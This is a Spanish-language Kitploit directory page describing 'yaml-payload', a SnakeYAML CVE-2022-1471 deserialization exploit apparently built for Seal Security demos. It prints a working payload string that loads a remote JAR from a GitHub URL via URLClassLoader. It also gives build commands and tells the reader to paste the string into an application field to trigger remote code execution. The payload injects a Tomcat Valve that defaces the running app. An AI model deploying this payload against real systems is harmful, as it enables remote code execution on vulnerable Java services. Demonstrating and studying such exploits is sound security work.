Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
yaml-payload — Payload de explotación de SnakeYAML CVE-2022-1471 para demos de Seal Security | Kitploit
Herramientas/GitHubGitHub/seal-sean-org/yaml-payload
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubseal-sean-org/yaml-payload

yaml-payload

Payload de explotación de SnakeYAML CVE-2022-1471 para demos de Seal Security

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

yaml-payload

Un payload de explotación de deserialización SnakeYAML para CVE-2022-1471, adaptado de artsploit/yaml-payload (basado originalmente en mbechler/marshalsec).

Qué hace

Cuando se carga mediante el inseguro Yaml.load() de SnakeYAML, este payload toma el control de la aplicación en ejecución y la reemplaza por una página "You've Been PWNED":

  1. Inyecta una Valve de Tomcat en la aplicación Spring Boot en ejecución mediante reflexión, secuestrando el puerto 8080 existente: la misma URL (incluido cualquier túnel de ngrok) ahora sirve la página PWNED
  2. Redirige automáticamente el navegador: la respuesta al POST envía una redirección 302, por lo que el navegador carga inmediatamente la página PWNED sin necesidad de actualizar manualmente
  3. Abre el navegador automáticamente en la URL correcta (la URL pública de ngrok si está disponible; de lo contrario, localhost:8080)
  4. Imprime evidencia de la explotación en la consola/registros de CI

Si la inyección de Valve de Tomcat no está disponible (p. ej. en una aplicación que no es Spring), se recurre a iniciar un servidor HTTP independiente en el puerto 9999 y crea automáticamente un túnel de ngrok si ngrok está en ejecución.

Esto funciona tanto localmente en macOS como en pipelines de CI/CD (p. ej. GitHub Actions en Ubuntu).

Cómo funciona la cadena de explotación

El payload de SnakeYAML activa ScriptEngineManager mediante la SPI de Java (Service Provider Interface):

root@kitploit:~
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
  1. SnakeYAML instancia java.net.URL apuntando al yaml-payload.jar de este repositorio
  2. Lo envuelve en un URLClassLoader para cargar clases remotas
  3. ScriptEngineManager descubre y carga AwesomeScriptEngineFactory a través de META-INF/services/javax.script.ScriptEngineFactory
  4. El constructor de la factory inyecta una Valve en el pipeline de Tomcat en ejecución, reemplazando cada respuesta posterior en / por la página PWNED

Compilación

Requiere JDK 17+:

root@kitploit:~
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..

Uso

Se utiliza como payload de explotación en el proyecto maven-demo. Pega la cadena del payload en el campo de nombre de la aplicación para desencadenar RCE. La página de la aplicación será reemplazada por la página PWNED en la siguiente solicitud. Consulta el README de ese repositorio para obtener las instrucciones completas de la demo.

Descargar herramienta